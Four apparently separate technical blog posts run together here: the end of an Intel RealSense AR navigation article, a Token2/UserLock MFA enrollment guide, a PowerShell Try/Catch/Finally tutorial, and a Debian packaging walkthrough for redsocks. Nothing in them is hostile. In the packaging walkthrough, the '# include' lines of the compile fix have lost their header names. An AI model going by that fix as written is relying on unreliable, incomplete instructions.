Компонент Scene Perception формирует множество небольших трехмерных моделей. Такие модели обычно имеют не более 30 вершин. Расположение вершин может изменяться, в результате чего некоторые модели несколько наклонены по отношению к поверхности, на которой они находятся. Если объект находится поверх модели (например, цели или объекта), то объект будет неправильно ориентирован. Чтобы обойти эту проблему, используется средняя нормаль трехмерной модели (фрагмент кода 10).
```
private Vector3 AverageMeshNormal(Mesh mesh) {
Vector3 sum = Vector3.zero;
// Sum all the normals in the mesh
for (int i = 0; i < mesh.normals.Length; i++){
sum += mesh.normals[i];
}
// Return the average
return sum / mesh.normals.Length;
}
```
*Фрагмент кода 10. Вычисление средней нормали трехмерной модели*
### ▍Сборка приложения
Весь код, разработанный для этого примера, доступен [на сайте Github](https://github.com/FantasmoStudios/AutoNavAR).
Следующие инструкции встраивают Scene Manager и реализацию агента в приложение Intel RealSense.
1. Откройте пример RF\_ScenePerception в папке Intel RealSense SDK RSSDK\framework\Unity.
2. [Загрузите](https://github.com/FantasmoStudios/AutoNavAR/releases/download/1.0/AutoNavAR.unitypackage) и импортируйте пакет AutoNavAR Unity.
3. Откройте RealSenseExampleScene в папке Assets/AutoNavAR/Scenes/.
4. Соберите и запустите приложение на любом совместимом устройстве с камерой Intel RealSense R200.
*Видео 4. Выполненная интеграция с камерой Intel RealSense R200*
Дальнейшее развитие автономной навигации
----------------------------------------
Мы разработали пример, демонстрирующий автономный агент в приложении дополненной реальности с камерой R200. Существует несколько способов развить эту работу, повысить «разумность» и реалистичность агента.
В качестве агента использовалась упрощенная механическая модель с равномерным распределением массы и без ограничений движений по направлениям. Можно разработать более совершенную модель, в которой масса будет распределена неравномерно, а силы, применяемые к телу, будут ограничиваться (например, автомобиль с разными силами разгона и торможения, космический корабль с основным двигателем и боковыми маневровыми двигателями). Чем точнее выполнены механические модели, тем более реалистичным будет движение.
Крейг Рейнольдс (Craig Reynolds) первым подробно описал поведенческие алгоритмы наведения в контексте анимации и игр. Алгоритмы «Поиск», «Прибытие» и «Уклонение от препятствий», продемонстрированные в нашем примере, созданы на основе [его работы](http://www.red3d.com/cwr/papers/1999/gdc99steer.pdf). Рейнольдс описал и другие алгоритмы поведения, в том числе «Бегство», «Преследование», «Странствие», «Исследование», «Уклонение от препятствий» и «Следование по маршруту». Рассматриваемые групповые алгоритмы поведения включают «Разделение», «Слияние» и «Построение». Еще один полезный ресурс — «Программирование искусственного интеллекта игр на примерах» Мэта Бэкленда (Mat Buckland). Здесь описывается реализация поведенческих алгоритмов и ряд других вопросов, в том числе конечные автоматы и поиск путей.
В этом примере к агенту одновременно применяются алгоритмы наведения «Прибытие» и «Уклонение от препятствий». Так можно сочетать любое количество алгоритмов поведения для получения более сложных моделей. Например, поведенческий алгоритм «Объединение в стаю» создан на основе разделения, слияния и построения. Сочетание различных поведенческих алгоритмов может иногда дать неестественный результат. Рекомендуется поэкспериментировать с разными типами таких алгоритмов для выявления новых возможностей.
Кроме того, некоторые методики поиска путей предназначены для использования в динамических средах. [Алгоритм D\*](https://en.wikipedia.org/wiki/D*) близок к A\*, но может обновлять путь на основе новых наблюдений (т. е. добавленных и удаленных препятствий). Алгоритм [D\* Lite](http://idm-lab.org/bib/abstracts/papers/aaai02b.pdf) работает так же, как D\*, и проще в реализации. Поиск путей можно использовать вместе с наведением: можно задать путевые точки, а затем использовать наведение для их обхода.
Выбор действий не обсуждается в этой статье, но широко изучается в теории игр. В теории игр исследуется математическая основа стратегии и принятия решений. Теория игр применяется во множестве областей, включая экономику, политические науки и психологию. В отношении автономных агентов теория игр может управлять тем, как и когда принимаются решения. «Теория игр 101: полный справочник» Уильяма Спаниэля (William Spaniel) — отличный начальный ресурс, снабженный [серией видеоматериалов в YouTube](https://www.youtube.com/watch?v=NSVmOC_5zrE).
Заключение
----------
Существует целый арсенал инструментов для настройки движения, поведения и действий агентов. Автономная навигация наиболее подходит для динамических сред, подобных создаваемым камерой Intel RealSense в приложениях дополненной реальности. Даже простые модели движения и наведения могут образовывать сложное поведение без предварительного знания среды. Изобилие доступных моделей и алгоритмов обеспечивает гибкость реализации автономных решений для любых приложений. | https://habr.com/ru/post/282141/ | null | ru | null |
# Enrolling and using Token2 USB Security keys with UserLock MFA
[UserLock](https://www.isdecisions.com/products/userlock/) is a user login security system for on-premises Windows Active Directory designed by ISDecisions. It works alongside Active Directory to protect access to Windows systems. With specific and customizable user login rules and real-time monitoring, UserLock reduces the risk of external attacks and internal security breaches while helping to address regulatory compliance. UserLock is one of the few solutions existing on the market that allows implementing multi-factor authentication for logging on to Windows computers with Active Directory domain membership or standalone terminal servers.
Previous versions of UserLock are allowing using [Token2 programmable tokens](https://www.isdecisions.com/products/userlock/help/use-cases/end-user-onboarding/token2.htm) as the second factor (TOTP protocol). Starting from version 11, UserLock natively supports Token2 T2F2 Security keys ([second-generation only: ALU, AZ, NFC and Bio](https://www.token2.com/site/page/product-comparison-fido-security-keys?list=4,3,2,1)) by utilizing the HOTP functionality of these keys. In this article, we will show the procedures required to enrol and use Token2 security keys to log in to your Windows workstation protected with UserLock.
1. Enable MFA for a user
`this step is done by the administrator of the system`
In the UserLock management console, navigate to "Protected Accounts" and click on "Protect a new account" button.
Then follow the wizard's instruction to protect a single account or a group. The steps below show enabling UserLock protection for "mfauser" local account on a standalone server as an example.
Then, double-click on the newly created protected account record to open its properties window.
Scroll down to Multi-factor authentication section and configure settings for this user. On the screenshot below, we configured the user with the most strict settings: MFA is enabled for both workstation and server logins, and the second factor will be asked on every logon.
Click Apply/OK to finish this step. Now, the next time this user logs in, a wizard asking to configure the second factor will appear and the login will only be possible after this process is completed successfully.
2. Configuring the second factor for the user
`this step is done by the user`
After the user account's UserLock protection is enabled and MFA is activated, on the next logon attempt, UserLock will prompt the user to enrol one of the second factors. We will show the process of configuring a Token2 security key as the second factor.
Choose USB token from the first window - make sure your Token2 key is plugged into a USB port before continuing.
If a compatible Token2 key is detected, the system will show a "Link Token2" button to start the process.
After successfully linking the security key, the button will transform to "Valid" message.
After this, set the cursor to the text field and press the button on the security key. There is no need to click "Verify" button as the key will send "Enter" keystroke to minimize user actions.
Upon successful enrollment, UserLock will prompt to enrol an additional factor for MFA (this can be a TOTP programmable token or an app, you cannot add a second USB Security key)
3. Logging in using a Token2 Security key
Once enrollment is complete, the MFA prompt will ask to enter the OTP.
With USB security keys, users will only need to plug in the Token2 key to a USB port and press the physical button on the key . There is no additional action needed as the OTP will be sent together with "Enter" keystroke, which will submit the OTP automatically.
Frequently asked questions
**1. Can I use this method for Remote Desktop logins?**
*Short answer: you can log in, but you cannot enrol.*
Currently, the UserLock MFA enrollment wizard requires the security key to be plugged directly to the same machine in order to successfully complete the enrollment. Therefore, enrolling a Token2 Security Key over remote desktop is not possible. You will get an error as shown below:
*However, if the security key has already been linked to a UserLock protected account, subsequent logins are possible over RDP.*
**2. What is the difference between using Token2 TOTP programmable tokens and Token2 Security keys with UserLock MFA?**
The main difference from the user experience point of view is that with the Token2 Security keys, users do not need to manually type in the one-time password (6 digits) as with TOTP (apps or tokens). Instead, to provide the second factor to complete the login process, the user will only have to plug in the device to a USB port and press the button. The only exception to this is when using our [USB programmable tokens](https://www.token2.com/shop/category/usb-programmable-tokens) - they can also send the code over USB by leveraging the HID/Keyboard emulation feature.
Another aspect is the provisioning and login process differences, briefly shown in the comparative table below:
| | | |
| --- | --- | --- |
| | TOTP Tokens | Security keys |
| Provisioning requirements | An additional device is needed(for NFC models only, [USB-programmable tokens](https://www.token2.com/shop/category/usb-programmable-tokens) do not need any additional devices) | No additional device needed |
| Provisioning security level | **Medium**Secret key transferred to end-user | **High**Provisioning done by UserLock directly on the device |
| Provisioning over RDP | Possible | Not possible |
| Logon over RDP | Possible | Possible |
**3. Can I enrol more than one USB Security key?**
No, currently UserLock only allows one security key to be associated per account. You can have a TOTP (token or app) as the alternative or backup factor.
**4. Can I use the Token2 Security key for other services?**
UserLock is using the HOTP functionality of our security keys and there is only one slot available for HOTP (this is due to HID feature as the password generated by HOTP is being sent by pressing the button on the device). However, as our security keys are FIDO2 compliant (and some models FIDO2 certified), you can use them on any FIDO2-compatible resources. These keys also feature TOTP generation via a companion app.
Important! It is possible to configure HOTP parameters of our security keys using our companion app - please note that doing so will break its UserLock functionality.
**5. Which security keys are compatible with UserLock HOTP functionality?**
Currently, the following models are supported:
* T2F2-ALU
* T2F2-AZ
* T2F2-NFC
* T2F2-Bio
Here is the [link](https://www.token2.com/site/page/product-comparison-fido-security-keys?list=4,3,2,1) for a comparative table of these models. Also, it is worth mentioning the following aspects:
* If you use a system with AZERTY keyboard configured, you will have to keep "Shift" key pressed when pressing the button on the security keys. Our newer models (T2F2-AZ and T2F2-Bio) can be configured to use numeric keyboard instead, in such case, NumLock state should be on
* With T2F2-Bio the fingerprint protection does not apply to HOTP functionality. With UserLock, the fingerprint sensor will be used as a simple touch sensor to send the OTP digits (press the sensor for 2-3 seconds to send the digits). | https://habr.com/ru/post/542384/ | null | en | null |
# Try/Catch/Finally
Когда вы используете **Try/Catch/Finally**, команда которая будет выполняться помещается в блок **Try**. Если произойдет ошибка в процессе выполнения команды, то она будет записана в переменную **$Error**, и выполнение скрипта перейдет к блоку **Catch**.
Скрипт *TestTryCatchFinally.ps1* использует команду **Try** в попытке создать объект. Объект создания находится в переменной **$ob1**. Командлет **New-Object** создает объект. После создания объекта и помещения его в переменную **$a** можно посмотреть члены объекта, используя командлет **Get-Member**. Следующий код иллюстрирует это:
```
Try
{
"Attempting to create new object $ob1"
$a = new-object $ob1
"Members of the $ob1"
"New object $ob1 created"
$a | Get-Member
}
```
Используйте блок **Catch** чтобы поймать ошибку, которая произошла в блоке **Try**. Вы можете указать тип ошибок для захвата, а также действие, которое бы происходило при возникновении ошибки. В скрипте *TestTryCatchFinally.ps1* я слежу за ошибками типа [System.Exception](http://msdn.microsoft.com/en-us/library/system.exception.aspx). Класс **System.Exeption** .Net Framework — это базовый класс, от которого зависят все другие исключения (exceptions). Это означает, что **System.Exeption** является универсальным общим классом, в сущности вы можете получить все предопределенные исключения как общие, так и системные. При перехвате ошибки вы можете указать какой код вы хотели бы выполнить. В данном примере я вывожу простую строку, которая показывает, что скрипт поймал системное исключение. Блок **Catch** показан ниже:
```
Catch
{
[system.exception]
"caught a system exception"
}
```
Блок **Finally** последовательности **Try/Catch/Finally** всегда выполняется, независимо от того произошла ошибка или нет. Это означает что какие-то вещи для завершения, которые вы хотите сделать, например для явного освобождения COM объекта, следует помещать в блок **Finally**. В скрипте *TestTryCatchFinally.ps1* блок **Finally** иллюстрирует строку состояния, что скрипт завершен. Это показано далее:
```
Finally
{
"end of script"
}
```
Целиком скрипт *TestTryCatchFinally.ps1*:
**TestTryCatchFinally.ps1**
```
$ob1 = "kenobie"
"Begin test"
Try
{
"Attempting to create new object $ob1"
$a = new-object $ob1
"Members of the $ob1"
"New object $ob1 created"
$a | Get-Member
}
Catch [system.exception]
{
"caught a system exception"
}
Finally
{
"end of script"
}
```
Во время исполнения сценария *TestTryCatchFinally.ps1* когда переменной **$ob1** присваивается значение «kenobie» ошибка возникает потому что нет ни одного объекта с именем «kenobie», который можно было бы создать с помощью командлета **New-Object**. Следующая картинка демонстрирует вывод сценария.
Как видно из предыдущей картинки, строка «Begin Test» выводится потому что находится за пределами цикла **Try/Catch/Finally**. Внутри блока **Try** строка “Attempting to create new object kenobie” выводится потому что, выполняется перед командой **New-Object**. Это демонстрирует то, что блок **Try** всегда пытается выполнить код внутри него. Члены объекта «kenobie» не выводятся, также как не выводится строка «new object kenobie created». Это указывает на то, что после возникновения ошибки сценарий переходит к следующему блоку. В блоке **Catch** происходит захват ошибки типа **System.Exeption** и выводится строка «caught a system exception». Далее скрипт переходит к блоку **Finally** и выводит строку «end of script».
Если в сценарии переменной **$ob1** будет присвоено значение «system.object» (которое является корректным значением), блок **Try** успешно выполнится полностью. Это видно на следующем рисунке, члены объекты выведены, и строка указывающая чтоб объект успешно создан, также выводится. Блок **Catch** не срабатывает, а строка «end of script» из блока **Finally** выводится.
Вы можете использовать несколько блоков **Catch** в блоке **Try/Catch/Finally**. Нужно иметь в виду, что когда происходит исключение Windows Powershell покидает блок **Try** и ищет блок **Catch**. Будет использован первый блок **Catch**, который удовлетворит условиям исключения. Таким образом необходимо использовать наиболее конкретные исключения сначала, переходя к более общим.
Это видно в *TestTryMultipleCatchFinally.ps1*.
**TestTryMultipleCatchFinally.ps1**
```
$ob1 = "foo"
"Begin test"
$ErrorActionPreference = "stop"
Try
{
Get-Content foo
"Attempting to create new object $ob1"
$a = new-object $ob1
"Members of the $ob1"
"New object $ob1 created"
$a | Get-Member
}
Catch [System.Management.Automation.PSArgumentException]
{
"invalid object"
}
Catch [system.exception]
{
"caught a system exception"
}
Finally
{
"end of script"
}
```
Следующий рисунок показывает вывод сценария *TestTryMultipleCatchFinally.ps1*. Были сделаны два изменения: Закомментированы команды **$ErrorActionPreference** и **Get-Content foo**. Таким образом генерируемая ошибка будет возникать при попытке создать несуществующий объект. Чтобы найти конкретную ошибку, я исследовал переменную **$error** после запуска сценария *TestTryMultipleCatchFinally.ps1*. Ошибка указана в поле **Exception**.
```
PS C:\> $error | fl * -F
PSMessageDetails :
Exception : System.Management.Automation.PSArgumentException: Cannot find type
[foo]: verify that the assembly containing this type is loaded.
at System.Management.Automation.MshCommandRuntime.ThrowTerminat
ingError(ErrorRecord errorRecord)
TargetObject :
CategoryInfo : InvalidType: (:) [New-Object], PSArgumentException
FullyQualifiedErrorId : TypeNotFound,Microsoft.PowerShell.Commands.NewObjectCommand
ErrorDetails :
InvocationInfo : System.Management.Automation.InvocationInfo
ScriptStackTrace : at , C:\Users\dyak\SkyDrive\Scripts\habrahabr\TestTry
MultipleCatchFinally.ps1: line 10
PipelineIterationInfo : {}
```
Если скрипт имеет несколько ошибок, а значение переменной **$ErroActionPreference** установлено в значение «stop», первая ошибка приведет к сбою сценария. Если убрать комментарии с команд **$ErrorActionPreference** и **Get-Content**, первая ошибка будет поймана блоком **System.Exception Catch** и поэтому будет пропущено исключение аргумента. Это видно на следующем рисунке:
В целом пытался перевести [статью](http://blogs.technet.com/b/heyscriptingguy/archive/2010/03/11/hey-scripting-guy-march-11-2010.aspx) опубликованную в блоке Эда Уилсона. Надеюсь будет кому-то полезно. | https://habr.com/ru/post/248217/ | null | ru | null |
# Стать мэинтейнером. Часть третья
И был день третий, и задумался хабрапользователь-убунтоид: а как мне запаковать свой любимый пакет, чтобы был он красивый и правильный и чтобы гордость от его кошерности распирала ого-го как. Именно этим мы с вами сегодня и займёмся.
(Части [1](http://habrahabr.ru/blogs/ubuntu/50540/), [2](http://habrahabr.ru/blogs/ubuntu/50631/) и [4](http://habrahabr.ru/blogs/ubuntu/51427/))
По инициативе [darkk](https://habrahabr.ru/users/darkk/) мы будем собирать пакет [redsocks](http://github.com/darkk/redsocks/tree/master), что в переводе на русский означает «Красные носки darkk'а».
Первым делом идёт по упомянутой ссылке и скачиваем архив с исходниками. Не знаю, как у вас, а у меня он называется «darkk-redsocks-77a490422b701875a9fda2bd7d58e62cb7481f64.tar.gz». Сами понимаете, архив с таким названием — это нехорошо. Поэтому мы первым делом его распаковываем и стираем:
> `$ tar xvf darkk-redsocks-77a490422b701875a9fda2bd7d58e62cb7481f64.tar.gz
>
> $ rm darkk-redsocks-77a490422b701875a9fda2bd7d58e62cb7481f64.tar.gz`
Теперь мы имеем каталог с названием «darkk-redsocks-77a490422b701875a9fda2bd7d58e62cb7481f64». Тоже никуда не годится. К счастью, для крайних случаев, например, вот таких, когда никаких нормальных версий у программы нет вообще, Debian позволяет сменить нумерацию. Этим мы сейчас и займёмся:
> `$ mv darkk-redsocks-77a490422b701875a9fda2bd7d58e62cb7481f64 darkk-redsocks-2009013101
>
> $ tar czf darkk-redsocks_2009013101.orig.tar.gz darkk-redsocks-2009013101`
Первым действием мы переименовываем каталог: теперь версия у нас будет нумероваться по дате плюс номер версии за текущую дату — в этот раз версия будет 01. Вторым создаём «кошерный» архив исходников. Заметьте, кстати, что каталог по правилам должен именоваться как «name-version», а архив — как «name\_version.orig.tar.gz». В первом случае перед версией должен стоять дефис, во втором — подчеркивание.
Теперь, как ни странно, если вы знакомы с программой настолько же, насколько и я (то есть видите ее первый раз в жизни), то устанавливаем пакет libevent-dev, который указан в зависимостях программы, и безо всяких изысков пытаемся собрать нашу программу:
`$ sudo apt-get install libevent-dev
$ cd darkk-redsocks-2009013101
$ make`
Лично у меня эта процедура упала с ошибкой:
> cc -std=gnu99 -Wall -g -O0 -c base.c -o base.o
>
> In file included from /usr/include/linux/netfilter\_ipv4.h:8,
>
> from base.c:29:
>
> /usr/include/linux/netfilter.h:44: error: field ‘in’ has incomplete type
>
> /usr/include/linux/netfilter.h:45: error: field ‘in6’ has incomplete type
>
> make: \*\*\* [base.o] Ошибка 1
И здесь вступает в силу одна из первых заповедей сопровождающего пакет: либо ты очень тесно вступает в контакт с автором апстрима, либо ты становишься крупным специалистом по поиску в интернете. Я из гордости в этот раз предпочёл второй вариант и путём тщательного поиска обнаружил, что баг старый. проявляется уже с полгода и фиксить его почему-то не спешат. Но локальный фикс в пакете сделать можно и мы его сейчас сделаем (маленькое замечание: я опять-таки это не оформляю отдельным патчем, а правлю прямо в коде, потому что такие суровые ошибки культурный человек обязан отослать автору апстрима и пинать его ногами, пока патч не будет в апстрим включен. Если не будет — нафиг таких авторов программ. Так вот, а мы тем временем в файле base.c перед строчкой
> `# include`
вставляем
> `# include`
Собираем еще раз. Снова ошибка:
> cc parser.o main.o redsocks.o log.o http-connect.o socks4.o socks5.o http-relay.o base.o -levent -o redsocks
>
> main.o: In function `terminate':
>
> /home/user/build/darkk-redsocks-2009013101/main.c:44: undefined reference to `event\_loopbreak'
Снова лезем в поиск, ничего не обнаруживаем (по крайней мере я), но чудовищным телепатическим усилием понимаем, что имеющийся у нас в репозитории libevent еще не умеет метод event\_loopbreak. Окей, говорим мы, что же нам делать? Новая версия в дебиане есть только в репозитории experimental. Лично я его подключать не рискнул. Поэтому мы выполняем следующие действия:
> `$ cd ..
>
> $ sudo apt-get --purge remove libevent1 libevent-dev
>
> $ dget http://ftp.de.debian.org/debian/pool/main/libe/libevent/libevent_1.4.8~stable-1.dsc
>
> $ cd libevent-1.4.8~stable/
>
> $ debuild
>
> $ cd ..
>
> $ sudo dpkg -i ./libevent*.deb`
Поясняю. Поскольку мы не хотим подключать себе репозиторий, в котором море страшно нестабильного софта, мы удаляем имеющийся у нас libevent и собираем исходный пакет новой версии, который мы скачали при помощи команды dget. Теперь, когда мы успешно установили собранный пакет, попробуем собрать наши красные носки еще раз:
> `$ cd darkk-redsocks-2009013101/
>
> $ make`
В этот раз у меня всё собралось успешно. Замечательно. Теперь окидываем взором наш каталог, пробуем понять, какие файлы должны быть собраны в конечный бинарный пакет, который поставит себе на компьютер пользователь. Лично я выделил вот такой набор:
> doc/\* — документация
>
> README — то же самое
>
> redsocks.conf.example — файл примера
>
> redsocks — сам исполняемый файл
Отлично, теперь давайте опробуем несколько вариантов.
##### Соберем из готовых бинарников говнопакет
Да, другими словами назвать это сложно, поэтому я вынужден это назвать именно так.
**Внимание, данный вариант сборки представлен исключительно для ознакомления и те, кто им пользуется, должны быть семикратно казнены в соответствии с законами страны Оз!**
Итак, создаем внутри нашего каталога с собранной программой, еще один каталог «darkk-redsocks-2009013101». Копируем в него файлы так, чтобы получилась следующая иерархия:
> `darkk-redsocks-2009013101/
>
> |-usr/
>
> .|-bin/
>
> .||-redsocks
>
> .|-share/
>
> ..|-doc/
>
> ...|-redsocks/
>
> ....|-COPYING
>
> ....|-README
>
> ....|-rfc1929-socks5-auth.txt
>
> ....|-rfc2817-http-connect.txt
>
> ....|-socks4a.protocol.txt
>
> ....|-rfc1928-socks5.txt
>
> ....|-rfc1961-socks5-gssapi.txt
>
> ....|-rfc3089-socks-ipv6.txt
>
> ....|-socks4.protocol.txt
>
> ....|-examples/
>
> .....|-redsocks.conf.example`
Создаем каталог darkk-redsocks-2009013101/DEBIAN и кладём в него файл control с следующим содержимым:
> Package: darkk-redsocks
>
> Version: 2009013101
>
> Architecture: amd64
>
> Maintainer: Ivan Ivanov
>
> Description: transparent redirector of any TCP connection to proxy
>
> Mega-package which redirects any TCP connections to somewhat
>
> damn proxy.
>
>
Поскольку нам еще придется работать с файлами control, сразу дам немножко объяснений. Данный файл хранит всё описание пакета — для какой архитектуры он собран, кто его сопровождающий и т. п. В принципе там всё понятно, интерес представляет только пункт Description. Он устроен хитрым образом: в первой строчке, сразу после слова «Description: » записывается краткое описание. Записывать его по правилам надо так, чтобы его можно было подставить в строчку "**Packagename** is a *description*". То есть записывается с маленькой буквы, без подлежащего и слова «is» (с возможным артиклем), не содержать на конце какой-либо знак препинания. При этом в кратком описании не должно упоминаться название пакета, и оно должно умещаться в одно предложение и быть не длиннее 60 символов. Начиная со следующей строки идёт полное описание пакета. Каждая строчка в описании опять же должна быть не длиннее 80 символов (это, кстати, общее требование, в том числе и ко всевозможным скриптам) и начинаться с пробела. Если вы хотите вставить в описание пустую строку — поставьте на ней пробел и символ точки. Ну и по доброй дебиановской традиции файл должен заканчиваться пустой строкой.
Ладно, с файлом control покончили. После того, как мы его сохранили, собираем наш пакет командой
> `$ dpkg -b darkk-redsocks-2009013101`
В данном случае, darkk-redsocks-2009013101 — это имя нашего каталога, в который мы запихали файлы для пакета, и по совместительству, оно же станет именем полученного deb-пакета. Насладились зрелищем? Теперь срочно набираем
> `$ rm -rf darkk-redsocks-2009013101 darkk-redsocks-2009013101.deb`
, пока меня окончательно не стошнило от такого метода сборки. И переходим к следующему способу.
##### Собираем пакет, как культурные люди
И вот, мы опять находимся в ситуации, когда у нас есть собранные бинарники и больше ничего. Давайте исправлять эту ситуацию. Набираем:
> `$ make distclean`
Мы радостно очистили каталог и от бинарника, и от объектных файлов — от всего, что сгенерировалось при сборке. Теперь набираем
> `$ dh_make`
и сообщаем о своём страстном желании создать пакет, который генерирует single binary, то есть, единственный бинарник. Утилита dh\_make относится к набору утилит debhelper, которые страшно облегчают жизнь сопровождающим пакеты. Она сгенерировала нам каталог debian, в котором лежат файлы, используемые для сборки пакета. Давайте теперь зайдём в этот каталог и удалим всё, кроме следующих файлов:
> changelog
>
> compat
>
> control
>
> copyright
>
> docs
>
> rules
По-хорошему, нам не помешал бы еще файл watch, но поскольку у нас нет нормальных, где-либо выкладываемых релизов, за которыми можно следить, а только git-репозиторий, нам он не понадобится. Теперь откроем файл control, сотрём из него всё и напишем новое, красивое содержимое:
> `Source: darkk-redsocks
>
> Section: net
>
> Priority: optional
>
> Homepage: http://darkk.net.ru/redsocks
>
> Maintainer: Vsevolod Velichko
>
> Build-Depends: debhelper(>=7), libevent-dev(>=1.4.2)
>
> Standards-Version: 3.8.0
>
> Vcs-Git: git://github.com/darkk/redsocks.git
>
> Vcs-Browser: http://github.com/darkk/redsocks/tree/master
>
>
>
> Package: darkk-redsocks
>
> Architecture: any
>
> Depends: ${shlibs:Depends}, ${misc:Depends}
>
> Description: transparent redirector of any TCP connection to proxy
>
> Mega-package which redirects any TCP connections to somewhat
>
> damn proxy.`
Здесь в принципе всё понятно, за исключением пары моментов. Сначала идёт описание пакета исходников, затем, через пустую строку — бинарного пакета. «Architecture: any» означает в данном случае, что в скомпилированный бинарный пакет можно подставить любую архитектуру — под какую соберем, та и подставится. Если бы мы собирали, например, dev-пакет, который один для всех архитектур, мы бы написали туда: «all». Иногда бывает надо, чтобы один src-пакет собирал несколько бинарных пакетов, например, так собирается неоднократно упоминаемый мною qutIM — его исходный код предоставляет не только саму программу, которая собирается в пакет qutim, но и заголовочные файлы для потенциальных плагинов — их мы должны поместить в пакет qutim-dev. В таких случаях мы записываем в файле control описания нескольких собираемых бинарных пакетов подряд, разделяя их пустыми строками. Теперь — секция Build-Depends. Во-первых, в ней не нужно указывать компилятор, make и т.п. Если у вас еще каким-то чудом не стоит, то установите пакет build-essential, а если он уже стоит, откройте файл /usr/share/doc/build-essential/list, в котором находится список пакетов, которые никогда не нужно указывать в зависимостях для сборки. Далее — пакет debhelper. Это пакет, предоставляющий нам многия радости для сборки, от его версии зависит, насколько крутые плюшки мы сможем использовать. Я рекомендую оставить седьмую версию, потому что ее плюшками вы сможете воочию насладиться, когда мы будем писать скрипт для сборки. Ну и libevent-dev, пакет, с которым мы так намучились когда-то. Обязательно — с указанием версии.
Едем дальше. Открываем файл compat, сверяемся со стоящей там цифрой — она должна быть такой же, как версия debhelper в файле control, то есть 7. Зачем он нужен — если честно, сам не знаю, а выяснять лень. Но нужен :)
Открываем файл changelog и приводим его к следующему виду:
> `darkk-redsocks (2009013101-1) experimental; urgency=low
>
>
>
> * Initial release (Closes: #123456)
>
>
>
> -- Vsevolod Velichko Sat, 31 Jan 2009 04:07:47 +0300`
Заметьте, мы изменили релиз на experimental (для убунту, подозреваю, там надо поставить что-то типа jaunty), поскольку нужную версию пакета libevent-dev мы можем взять только там (собственно, оттуда мы ее и качали). Фраза «Closes: #123456» нужна для того чтобы багтрекинговая система дебиан или убунту при добавлении пакета в репозиторий автоматически закрыла баг с соответствующим номером. В случае начального пакетирования, как у нас — это номер «бага» планирования создания пакета — ITP (intend to package). Поскольку подобного бага у нас заведено не было, мы поставим там произвольный номер до тех времен, когда соберемся включать пакет в официальный репозиторий. В дальнейшем мы будем обновлять changelog при помощи уже упомянутой в прошлой статье утилиты «dch», выполняя команду «dch -i».
А сейчас переходим к файлу copyright. Он уже заполнен стандартным шаблоном, нам осталось заполнить детали. Приводим его к такому виду:
> This package was debianized by Vsevolod Velichko on
>
> Sat, 31 Jan 2009 04:07:47 +0300.
>
>
>
> It was downloaded from <http://darkk.net.ru/redsocks/>
>
>
>
> Upstream Author:
>
>
>
> Leonid Evdokimov
>
>
>
> Copyright:
>
>
>
> Copyright © 2009 Leonid Evdokimov
>
>
>
> License:
>
>
>
> This program is free software: you can redistribute it and/or modify
>
> it under the terms of the GNU General Public License as published by
>
> the Free Software Foundation, either version 3 of the License, or
>
> (at your option) any later version.
>
>
>
> This program is distributed in the hope that it will be useful,
>
> but WITHOUT ANY WARRANTY; without even the implied warranty of
>
> MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
>
> GNU General Public License for more details.
>
>
>
> You should have received a copy of the GNU General Public License
>
> along with this program. If not, see <<http://www.gnu.org/licenses/>>.
>
>
>
> The Debian packaging is copyright 2009, Vsevolod Velichko and
>
> is licensed under the GPL, see `/usr/share/common-licenses/GPL'.
А вот дальше у нас начинается редактирование файлов, которые при создании пакета за нас будет обрабатывать волшебный пакет debhelper. Первым делом — файл docs. В нём хранится список файлов, которые надо будет установить в каталог документации. В общем случае, когда наш src-пакет создаёт только один бинарный пакет при сборке — этот файл можно так и оставить под названием docs. Но мы, чтобы в возможном будущем не возиться, сразу переименуем его по имени бинарного пакета:
> `$ mv docs darkk-redsocks.docs`
Теперь открываем его и добавляем туда всю нашу документацию:
> README
>
> doc/\*
Следующий пункт программы — файл примера. Для него мы создаём файл darkk-redsocks.examples и пишем в него:
> redsocks.conf.example
Поскольку наш Makefile не умеет устанавливать пакет, то мы еще и создаем файл darkk-redsocks.install. В него мы записываем следующую запись:
> redsocks usr/bin/
Заметьте, что перед usr слэш не ставится.
Файлы описали? Чудесно, нам осталось отредактировать последний файл. Открываем в редакторе файл rules и начинаем его нещадно корчевать. Секция configure нам ну ваааще не нужна, у нас исходники этого и не умеют — удаляем её и все упоминания о ней. Оставшийся файл приводим вот к такому элегантному виду:
> #!/usr/bin/make -f
>
> # -\*- makefile -\*-
>
>
>
> # Uncomment this to turn on verbose mode.
>
> #export DH\_VERBOSE=1
>
>
>
> build: build-stamp
>
> build-stamp:
>
> dh build
>
> touch $@
>
>
>
> clean:
>
> dh clean
>
>
>
> install: build
>
> dh install
>
> touch $@
>
>
>
> binary-indep: install
>
> dh binary-indep
>
>
>
> binary-arch: install
>
> dh binary-arch
>
>
>
> binary: binary-indep binary-arch
>
> .PHONY: build clean binary-indep binary-arch binary install
Обратите внимание: в исходном файле все вызовы имели вид «dh\_что-нибудь», например «dh\_install». Это атомарные реакции debhelper'а, про которые вы можете прочитать в соответствующих манах. Мы же используем команды вида «dh install», когда вызов идёт к утилите dh (тоже см. соответствующий ман). Данная утилита вызывает по очереди каждый скрипт из определенной группы, на которую указывает передаваемый параметр. Таким образом, пока у нас довольно простой пакет, большая часть этих вызовов будет гоняться вхолостую при сборке, но зато, стоит нам, например добавить в пакет страницу мана, как достаточно будет создать файл darkk-redsocks.manpages, указать там эту страницу, и при следующей сборке dh сам положит её куда надо, да еще и регистрирующий эту страницу в mandb скрипт добавит.
Итак, мы закончили с правкой файлов. Выходим из каталога debian в родительский каталог и с чувством глубокого удовлетворения набираем:
> `$ debuild --lintian-opts -i`
По запросу пароля подписываем наш получившийся src-пакет, а затем внимательно смотрим. Каталогом выше у нас теперь имеется набор файлов:
> darkk-redsocks\_2009013101-1\_amd64.build **— это лог, в который записан весь ход сборки пакета**
>
> darkk-redsocks\_2009013101-1\_amd64.changes **— это вспомогательный файл к src-пакету**
>
> darkk-redsocks\_2009013101-1\_amd64.deb **— собственно сам собранный пакет под нашу архитектуру**
>
> darkk-redsocks\_2009013101-1.diff.gz **— запакованный дифф-файл, в котором хранятся все наши изменения, по сравнению с оригинальными исходниками. Как правило, это всё содержимое каталога debian, а в нашем случае — помните еще исправленный файл base.c?**
>
> darkk-redsocks\_2009013101-1.dsc **— это главный файл-описание src-пакета**
>
> darkk-redsocks\_2009013101.orig.tar.gz **— ну и это — созданный нами в самом начале архив с исходниками**
